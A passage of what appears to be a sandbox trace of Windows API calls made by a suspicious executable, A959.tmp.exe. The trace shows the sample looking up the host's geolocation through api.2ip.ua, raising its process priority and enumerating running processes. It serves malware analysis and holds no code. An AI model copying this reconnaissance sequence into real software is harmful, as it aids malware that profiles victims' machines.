lpDestStr=0x0) returned 256 [0043.377] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18cea8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0043.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d560, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x4d\x64\xeb\xc5\x9c\xd8\x18", lpUsedDefaultChar=0x0) returned 256 [0043.377] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0043.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x800) returned 0x71c2f0 [0043.377] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x451aa9 [0043.377] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.377] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.378] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.378] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x110) returned 0x71caf8 [0043.378] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x71a930 [0043.378] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.378] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.379] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.383] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x71dec0) returned 0x80 [0043.383] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0043.482] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x711560 [0043.482] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0044.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x189b60, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18c360 | out: lpBuffer=0x189b60*, lpdwNumberOfBytesRead=0x18c360*=0x1d1) returned 1 [0044.433] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0044.434] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0044.434] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x728ce8 [0044.434] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1e0) returned 0x74d080 [0044.434] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74d080 | out: hHeap=0x670000) returned 1 [0044.434] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x728ce8 | out: hHeap=0x670000) returned 1 [0044.434] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x711560 | out: hHeap=0x670000) returned 1 [0044.434] GetCurrentProcess () returned 0xffffffff [0044.434] GetLastError () returned 0x2 [0044.434] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0044.434] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x74caf0 [0044.434] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x110) returned 0x752d50 [0044.434] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x3009490 [0044.434] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3009490, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe")) returned 0x32 [0044.434] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0044.434] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x3009c98 [0044.435] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0044.435] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18c440 | out: pNumArgs=0x18c440) returned 0x30160c0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" [0044.435] lstrcpyW (in: lpString1=0x18d0f0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" [0044.435] lstrcmpW (lpString1="IsAutoStart", lpString2="IsNotAutoStart") returned -1 [0044.435] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0044.435] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0044.435] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18c3dc | out: pNumArgs=0x18c3dc) returned 0x30160c0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" [0044.435] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe") returned="A959.tmp.exe" [0044.435] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0044.436] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0044.436] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0044.436] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0044.436] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0044.438] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0044.438] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0044.438] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0044.438] EnumProcesses (in: lpidProcess=0x181bd8, cb=0xa000, lpcbNeeded=0x18c3e8 | out: lpidProcess=0x181bd8, lpcbNeeded=0x18c3e8) returned 1 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0044.441] CloseHandle (hObject=0x0) returned 0 [0044.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0044.442] CloseHandle (hObject=0x0) returned 0 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0044.442] CloseHandle (hObject=0x0) returned 0 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0044.442] CloseHandle (hObject=0x0) returned 0 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0044.442] CloseHandle (hObject=0x0) returned 0 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0044.442] CloseHandle (hObject=0x0) returned 0 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0044.442] CloseHandle (hObject=0x0) returned 0 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0044.442] CloseHandle (hObject=0x0) returned 0 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0044.442] CloseHandle (hObject=0x0) returned 0 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x59c [0044.442] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0044.442] CloseHandle (hObject=0x59c) returned 1 [0044.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x59c [0044.442] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0044.443] CloseHandle (hObject=0x59c) returned 1 [0044.443] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0044.443] CloseHandle (hObject=0x0) returned 0 [0044.443] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x59c [0044.443] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0044.443] CloseHandle (hObject=0x59c) returned 1 [0044.443] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0044.443] CloseHandle (hObject=0x0) returned 0 [0044.443] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x59c [0044.443] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0044.443] CloseHandle (hObject=0x59c) returned 1 [0044.443] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0x0 [0044.443] CloseHandle (hObject=0x0) returned 0 [0044.443] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c4) returned 0x59c [0044.443] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.444] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xdf0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="plannedrespondents.exe") returned 0x16 [0044.444] CloseHandle (hObject=0x59c) returned 1 [0044.444] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0x59c [0044.445] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.445] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x11a0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="actor-suggesting.exe") returned 0x14 [0044.446] CloseHandle (hObject=0x59c) returned 1 [0044.446] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0) returned 0x59c [0044.446] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.447] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1200000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="knives.exe") returned 0xa [0044.447] CloseHandle (hObject=0x59c) returned 1 [0044.447] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d8) returned 0x59c [0044.447] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.448] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xd70000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="reward stan distances.exe") returned 0x19 [0044.448] CloseHandle (hObject=0x59c) returned 1 [0044.448] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x59c [0044.448] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.449] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xc00000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="corporations verse fetish.exe") returned 0x1d [0044.450] CloseHandle (hObject=0x59c) returned 1 [0044.450] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x618) returned 0x59c [0044.450] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.451] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x320000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="merger.exe") returned 0xa [0044.451] CloseHandle (hObject=0x59c) returned 1 [0044.451] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x344) returned 0x59c [0044.451] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.452] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x160000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="ideas.exe") returned 0x9 [0044.452] CloseHandle (hObject=0x59c) returned 1 [0044.452] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x59c [0044.452] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.453] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xc20000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="portion-sunday.exe") returned 0x12 [0044.453] CloseHandle (hObject=0x59c) returned 1 [0044.453] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0x59c [0044.453] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.454] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xfe0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="combat_univ.exe") returned 0xf [0044.455] CloseHandle (hObject=0x59c) returned 1 [0044.455] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x59c [0044.455] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.456] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1290000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="paul dancing za.exe") returned 0x13 [0044.456] CloseHandle (hObject=0x59c) returned 1 [0044.456] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b0) returned 0x59c [0044.456] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.457] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x12a0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="artistscomplicated.exe") returned 0x16 [0044.457] CloseHandle (hObject=0x59c) returned 1 [0044.457] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x59c [0044.457] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.458] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x11c0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="consortiumdressinglou.exe") returned 0x19 [0044.459] CloseHandle (hObject=0x59c) returned 1 [0044.459] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a4) returned 0x59c [0044.459] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.460] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x10f0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="implications cheque folders.exe") returned 0x1f [0044.460] CloseHandle (hObject=0x59c) returned 1 [0044.460] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7bc) returned 0x59c [0044.460] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.461] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x110000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="msie_banners.exe") returned 0x10 [0044.461] CloseHandle (hObject=0x59c) returned 1 [0044.461] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11c) returned 0x59c [0044.461] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.462] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1210000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="yard-assessing-fraction.exe") returned 0x1b [0044.462] CloseHandle (hObject=0x59c) returned 1 [0044.462] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x320) returned 0x59c [0044.462] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.463] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x12e0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="biodiversitybelieves.exe") returned 0x18 [0044.464] CloseHandle (hObject=0x59c) returned 1 [0044.464] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x59c [0044.464] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.465] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xc90000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="roleri.exe") returned 0xa [0044.466] CloseHandle (hObject=0x59c) returned 1 [0044.466] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0x59c [0044.466] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, 